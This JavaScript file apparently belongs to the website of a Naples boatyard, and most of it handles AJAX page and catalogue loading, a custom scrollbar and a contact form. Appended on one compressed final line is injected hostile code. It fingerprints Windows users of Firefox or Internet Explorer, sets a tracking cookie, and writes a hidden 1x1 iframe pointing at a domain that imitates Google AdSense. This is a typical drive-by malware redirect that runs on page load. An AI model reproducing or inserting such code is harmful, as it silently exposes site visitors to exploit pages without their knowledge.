function inizializza_contenuto() {
    $(".contenuto").html("");
    $(".contenuto").html("<div class='chiudi'></div>");
$(".contenuto .chiudi").click(function() {
									   	$(".contenuto").fadeOut("slow");
									   });

}
var pagina_slide = 0;
var tot_pagine_slide = 5;
var dimensione_foto = 0;

function scroll_su() {
    var gap = 200;
    var h = parseInt($(".contenuto .testo").css("height"));
    //alert (h);
    var mt = $(".contenuto .testo").css("margin-top");
    var mt = parseInt(mt.replace("px",""));
    //alert (mt);
    if (mt < 0) {
        if (Math.abs(mt) > gap)
            var new_mt = mt + gap;
        else
            var new_mt = 0;
        //alert(new_mt);
        $(".contenuto .testo").stop();
        $(".contenuto .testo").animate({"margin-top":(new_mt)+"px"},700)
        $(".contenuto .freccette .barra").css({"margin-top":Math.floor(new_mt*proporzione_barra*(360/400*-1))+"px"});
    }
}

function scroll_giu() {
    var gap = 200;
    var h = parseInt($(".contenuto .testo").css("height"));
    var mt = parseInt($(".contenuto .testo").css("margin-top"));
    //h += pt+pb+mt+mb;
    //alert (h);
    //alert (mt);
    if (Math.abs(mt) < (h - 400)) {
        if (h - 400 - Math.abs(mt) < gap)
            var new_mt = ((h - 400) * -1);
        else
            var new_mt = (mt - gap);
        //alert(new_mt);
        $(".contenuto .testo").stop();
        $(".contenuto .testo").animate({"margin-top":(new_mt)+"px"},400)
        $(".contenuto .freccette .barra").css({"margin-top":Math.floor(new_mt*proporzione_barra*(360/400*-1))+"px"});
    }
    
}

function scroll_to(n) {
    /*
    var gap = 200;
    var h = parseInt($(".contenuto .testo").css("height"));
    var mt = parseInt($(".contenuto .testo").css("margin-top"));
    //h += pt+pb+mt+mb;
    //alert (h);
    //alert (mt);
    if (Math.abs(mt) < (h - 400)) {
        if (h - 400 - Math.abs(mt) < gap)
            var new_mt = ((h - 400) * -1);
        else
            var new_mt = (mt - gap);
        //alert(new_mt);
        $(".contenuto .testo").stop();
        $(".contenuto .testo").animate({"margin-top":(new_mt)+"px"},400)
        $(".contenuto .freccette .barra").css({"margin-top":Math.floor(new_mt*proporzione_barra*(360/400*-1))+"px"});
    }
    */
    var h = parseInt($(".contenuto .testo").css("height"));
    var proporzione_testo = h / 400;
    //var new_mt = n;
    var new_mt = n * 400;
    alert (new_mt);
        $(".contenuto .testo").stop();
        $(".contenuto .testo").animate({"margin-top":(new_mt*proporzione_testo*-1)+"px"},400)
        $(".contenuto .freccette .barra").css({"margin-top":Math.floor(new_mt*proporzione_barra*(360/400*-1))+"px"});
}

var proporzione_barra;

function crea_barra_scroll() {
    var h = parseInt($(".contenuto .testo").css("height"));
    proporzione_barra = (400/h);
    var hb = Math.floor(proporzione_barra*360);
        if (proporzione_barra >= 1)
            $(".contenuto .freccette").remove();
        else
            $(".contenuto .freccette .barra").css({"height":hb+"px"});
    
    var gap_barra = (360 - hb) * proporzione_barra;
    //alert (gap_barra);        
    $(".contenuto .freccette .barra").draggable({
        "axis": "y",
        //"containment": [0,170,0,465]
        "containment": "parent",
        "grid": [0,gap_barra],
        "drag": function (event,ui) {
            //alert (ui.y);
            var top = ui.position["top"]; 
            //scroll_to(top);
                if ((top % Math.floor(gap_barra)) == 0)
                    scroll_to(Math.ceil((top / gap_barra)));
        }
    });
    
    $(".contenuto .testo").mousewheel(function(event,delta) {
        if (delta > 0)
            scroll_su();
        else if (delta < 0)
            scroll_giu();
    })
            //alert(hb);
}

//function carica_pagina(tipo,sfondo) {
function carica_galleria(nomecat) {
	var w = window.innerWidth;
	var h = window.innerHeight;
	var A;
		if(self.innerWidth!=undefined)A= [self.innerWidth,self.innerHeight];
		else{
			var D= document.documentElement;
				if(D) A= [D.clientWidth,D.clientHeight];
		}
	var t = Math.floor((A[1] - 420 ) / 2);
	var l = Math.floor((A[0] - 800 ) / 2);
	$("body .contenuto").fadeOut("slow",function() {
												 //$(this).remove();
	//$("body").append('<div class="contenuto" style="top:'+t+'px; left:'+l+'px"></div>');
	$(".menu.modelli").css({"top":"-250px"});
	$(".menu.categorie").css({"top":"-150px"});
	$(".contenuto").css({"top":t+"px" ,  "left":l+"px"});
	//$(".contenuto").append('<div class="titolo"></div>');
	//$(".contenuto").append('<div class="testo"></div>');
    inizializza_contenuto();
        $.ajax({
            type: "POST",
            url: "funzioni_ajax.php",
            async: false,
            data: "task=carica_galleria",
            success: function(testo) {
                //alert(titolo);
                $(".contenuto").append("<div class='titolo'>Galleria</div>");
                $(".contenuto").append("<div class='testo'>"+testo+"</div>");
            }
        });
	$(".contenuto").fadeIn("slow");
	//lock_menu = 1;
	$(".sfondo").fadeOut("slow");
	//$(".sfondo.cat_"+id).fadeIn("slow");
    $(".sfondo."+nomecat).fadeIn("slow");
    //alert(".sfondo.cat_"+id);
    //$(".sfondo2").css({"background":"url('img/"+tipo+".jpg') no-repeat center center"});
												 });
}
function carica_pagina(id,nomecat) {
	var w = window.innerWidth;
	var h = window.innerHeight;
	var A;
		if(self.innerWidth!=undefined)A= [self.innerWidth,self.innerHeight];
		else{
			var D= document.documentElement;
				if(D) A= [D.clientWidth,D.clientHeight];
		}
	var t = Math.floor((A[1] - 420 ) / 2);
	var l = Math.floor((A[0] - 800 ) / 2);
	$("body .contenuto").fadeOut("slow",function() {
												 //$(this).remove();
	//$("body").append('<div class="contenuto" style="top:'+t+'px; left:'+l+'px"></div>');
	$(".menu.modelli").css({"top":"-250px"});
	$(".menu.categorie").css({"top":"-150px"});
	$(".contenuto").css({"top":t+"px" ,  "left":l+"px"});
	//$(".contenuto").append('<div class="titolo"></div>');
	//$(".contenuto").append('<div class="testo"></div>');
    inizializza_contenuto();
        $.ajax({
            type: "POST",
            url: "funzioni_ajax.php",
            async: false,
            data: "task=carica_pagina&op=titolo&id="+id,
            success: function(titolo) {
                //alert(titolo);
                $(".contenuto").append("<div class='titolo'>"+titolo+"</div>");
            }
        });
        $.ajax({
            url: "funzioni_ajax.php",
            async: false,
            type: "POST",
            data: "task=carica_pagina&op=testo&id="+id,
            success: function(testo) {
                //alert(testo);
				/*
                    $(".contenuto").append("<div class='wrapper'><div class='testo'>"+testo+"</div></div>");
                    $(".contenuto").append("<div class='freccette'></div>");
                    $(".contenuto .freccette").append("<div onclick='scroll_su()' class='su'><img src='img/su.jpg' /></div>");
                    $(".contenuto .freccette").append("<div class='wrapper_barra'><div class='barra'></div></div>");
                    $(".contenuto .freccette").append("<div onclick='scroll_giu()' class='giu'><img src='img/giu.jpg' /></div></div>");
                    $(".contenuto").append("<div class='clear'></div>");
				*/
				$(".contenuto").html("<div class='testo'>"+testo+"</div>");
				$(".contenuto .testo").slimScroll({
					width: '790px',
					height: '450px',
					color: '#FFF',
					alwaysVisible: true,
					railVisible: true,
					railOpacity: 1,
					size: '14px'
				});
            }
        });
	$(".contenuto").fadeIn("slow", function() {crea_barra_scroll()});
	//lock_menu = 1;
	$(".sfondo").fadeOut("slow");
	//$(".sfondo.cat_"+id).fadeIn("slow");
    $(".sfondo."+nomecat).fadeIn("slow");
    //alert(".sfondo.cat_"+id);
    //$(".sfondo2").css({"background":"url('img/"+tipo+".jpg') no-repeat center center"});
    });
    //crea_barra_scroll();
}
function carica_catalogo(id,sfondo,usato) {
	var w = window.innerWidth;
	var h = window.innerHeight;
	var A;
		if(self.innerWidth!=undefined)A= [self.innerWidth,self.innerHeight];
		else{
			var D= document.documentElement;
				if(D) A= [D.clientWidth,D.clientHeight];
		}
	var t = Math.floor((A[1] - 420 ) / 2);
	var l = Math.floor((A[0] - 800 ) / 2);
	$("body .contenuto").fadeOut("slow",function() {
	$(".menu.modelli").css({"top":"-250px"});
	$(".menu.categorie").css({"top":"-150px"});
	$(".contenuto").css({"top":t+"px" ,  "left":l+"px"});
    inizializza_contenuto();
        if (usato == "usato")
            var task = "carica_catalogo_usato";
        else
            var task = "carica_catalogo";
        $.ajax({
            type: "POST",
            url: "funzioni_ajax.php",
            async: false,
            data: "task="+task+"&op=titolo&id="+id,
            success: function(titolo) {
                //alert(titolo);
                $(".contenuto").append("<div class='titolo'>"+titolo+"</div>");
            }
        });
        $.ajax({
            url: "funzioni_ajax.php",
            async: false,
            type: "POST",
            data: "task="+task+"&op=elenco&id="+id,
            success: function(testo) {
				/*
                    $(".contenuto").append("<div class='wrapper'><div class='testo'>"+testo+"</div></div>");
                    $(".contenuto").append("<div class='freccette'></div>");
                    $(".contenuto .freccette").append("<div onclick='scroll_su()' class='su'><img src='img/su.jpg' /></div>");
                    $(".contenuto .freccette").append("<div class='wrapper_barra'><div class='barra'></div></div>");
                    $(".contenuto .freccette").append("<div onclick='scroll_giu()' class='giu'><img src='img/giu.jpg' /></div></div>");
                    $(".contenuto").append("<div class='clear'></div>");
				*/
				$(".contenuto").html("<div class='testo'>"+testo+"</div>");
				$(".contenuto .testo").slimScroll({
					width: '790px',
					height: '450px',
					color: '#FFF',
					alwaysVisible: true,
					railVisible: true,
					railOpacity: 1,
					size: '14px'
				});
            }
        });
	$(".contenuto").fadeIn("slow", function() {crea_barra_scroll()});
	//lock_menu = 1;
	$(".sfondo").fadeOut("slow");
	$(".sfondo."+sfondo).fadeIn("slow");
    //alert(".sfondo."+nomecat);
    //$(".sfondo2").css({"background":"url('img/"+tipo+".jpg') no-repeat center center"});
												 });
}
function carica_pagina_catalogo(id,op,sfondo,usato) {
	var w = window.innerWidth;
	var h = window.innerHeight;
	var A;
		if(self.innerWidth!=undefined)A= [self.innerWidth,self.innerHeight];
		else{
			var D= document.documentElement;
				if(D) A= [D.clientWidth,D.clientHeight];
		}
	var t = Math.floor((A[1] - 420 ) / 2);
	var l = Math.floor((A[0] - 800 ) / 2);
	$("body .contenuto").fadeOut("slow",function() {
	$(".menu.modelli").css({"top":"-250px"});
	$(".menu.categorie").css({"top":"-150px"});
	$(".contenuto").css({"top":t+"px" ,  "left":l+"px"});
    
        if (usato == 'usato')
            var task = 'carica_pagina_catalogo_usato';
        else
            var task = 'carica_pagina_catalogo';
    inizializza_contenuto();
        $.ajax({
            type: "POST",
            url: "funzioni_ajax.php",
            async: false,
            data: "task="+task+"&op=link_cat&id="+id,
            success: function(link) {
                //alert(titolo);
                //$(".contenuto .titolo").html(titolo);
                $(".contenuto").append("<div class='link_cat'>"+link+"</div>");
            }
        });
        $.ajax({
            type: "POST",
            url: "funzioni_ajax.php",
            async: false,
            data: "task="+task+"&op=titolo&id="+id,
            success: function(titolo) {
                //alert(titolo);
                //$(".contenuto .titolo").html(titolo);
                $(".contenuto").append("<div class='titolo titolo_scheda'>"+titolo+"</div>");
            }
        });
        $.ajax({
            url: "funzioni_ajax.php",
            async: false,
            type: "POST",
            data: "task="+task+"&op=scheda&id="+id,
            success: function(testo) {
                //alert(testo);
                $(".contenuto").append("<div class='scheda'>"+testo+"</div>");
                $(".gallery .modello .miniatura img").hover(function() {
				    $(this).addClass("hover");
                },
				function() {
				    $(this).removeClass("hover");
				});
            }
        });
        $.ajax({
            url: "funzioni_ajax.php",
            async: false,
            type: "POST",
            data: "task="+task+"&op=galleria&id="+id,
            success: function(testo) {
                //alert(testo);
                $(".contenuto").append("<div class='galleria_scheda'>"+testo+"</div>");
                $(".gallery .modello .miniatura img").hover(function() {
				    $(this).addClass("hover");
                },
				function() {
				    $(this).removeClass("hover");
				});
            }
        });
	$(".contenuto").fadeIn("slow");
	//lock_menu = 1;
	$(".sfondo").fadeOut("slow");
	//$(".sfondo.cat_"+sfondo).fadeIn("slow");
    $(".sfondo."+sfondo).fadeIn("slow");
    //alert(".sfondo."+nomecat);
    //$(".sfondo2").css({"background":"url('img/"+tipo+".jpg') no-repeat center center"});
												 });
}
function controlla_form_contatti() {
    var f = document.form_contatti;
        if (f.cognome.value == "") alert ("Devi inserire il cognome"); else
        if (f.nome.value == "") alert ("Devi inserire il nome"); else
        if (f.email.value == "") alert ("Devi inserire l'indirizzo e-mail"); else
        if (f.messaggio.value == "") alert ("Devi inserire il messaggio"); else
        if (!f.privacy.checked) alert("Devi accettare le condizioni sulla privacy"); else
            f.submit();
}
function carica_form_contatti() {
	var w = window.innerWidth;
	var h = window.innerHeight;
	var A;
		if(self.innerWidth!=undefined)A= [self.innerWidth,self.innerHeight];
		else{
			var D= document.documentElement;
				if(D) A= [D.clientWidth,D.clientHeight];
		}
	var t = Math.floor((A[1] - 420 ) / 2);
	var l = Math.floor((A[0] - 800 ) / 2);
	$("body .contenuto").fadeOut("slow",function() {
	$(".menu.modelli").css({"top":"-250px"});
	$(".menu.categorie").css({"top":"-150px"});
	$(".contenuto").css({"top":t+"px" ,  "left":l+"px"});
    var str = '';
    str += '<form method="post" action="index.php" name="form_contatti">';
        str += '<table>';
            str += '<tr>';
                str += '<td rowspan="8" width="200" valign="top"><b>Cantieri Mim&igrave;</b><br />Via Cavone degli Sbirri,<br />680125 Napoli ITALY<br />Tel +39 081.762.13.24<br />Fax +39 081.762.91.66<br /><br /><a href="javascript:;" onclick="carica_pagina(5,\'tre\')"><img src="img/mappa.png" /></a></td>';
                str += '<td>Cognome: </td><td><input type="text" name="cognome" size="28" /></td>';
                str += '<td>Nome: </td><td><input type="text" name="nome" size="28" /></td>';
            str += '</tr>';
            str += '<tr>';
                str += '<td>Azienda: </td><td><input type="text" name="azienda" size="28" /></td>';
                str += '<td>Indirizzo: </td><td><input type="text" name="indirizzo" size="28" /></td>';
            str += '</tr>';
            str += '<tr>';
                str += '<td>Citt&agrave;: </td><td><input type="text" name="citta" size="28" /></td>';
                str += '<td>CAP: </td><td><input type="text" name="cap" size="8" /></td>';
            str += '</tr>';
            str += '<tr>';
                str += '<td>Provincia: </td><td><input type="text" name="provincia" size="28" /></td>';
                str += '<td>Telefono: </td><td><input type="text" name="telefono" size="28" /></td>';
            str += '</tr>';
            str += '<tr>';
                str += '<td>Fax: </td><td><input type="text" name="fax"  size="28"/></td>';
                str += '<td>E-mail: </td><td><input type="text" name="email" size="28" /></td>';
            str += '</tr>';
            str += '<tr>';
                str += '<td>Messaggio: </td><td colspan="3"><textarea name="messaggio" cols="51" rows="7"></textarea></td>';
            str += '</tr>';
            str += '<tr>';
                str += '<td>Privacy: </td><td colspan="3"><input type="checkbox" name="privacy" value="si" />Dichiaro di aver letto e di accettare l\'informativa sulla <a href="javascript:;" onclick="carica_pagina(6,\'tre\')">privacy</a></td>';
            str += '</tr>';
            str += '<tr>';
                str += '<td colspan="4" align="center"><input type="button" value="Invia" onclick="controlla_form_contatti()" /></td>';
            str += '</tr>';
        str += '</table>';
    str += '</form>';
    inizializza_contenuto();
    $(".contenuto").append("<div class='titolo'>Contatti</div>");
    $(".contenuto").append("<div class='testo'>"+str+"</div>");
    $(".contenuto").fadeIn("slow");
	$(".sfondo").fadeOut("slow");
    $(".sfondo.otto").fadeIn("slow");
    });
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
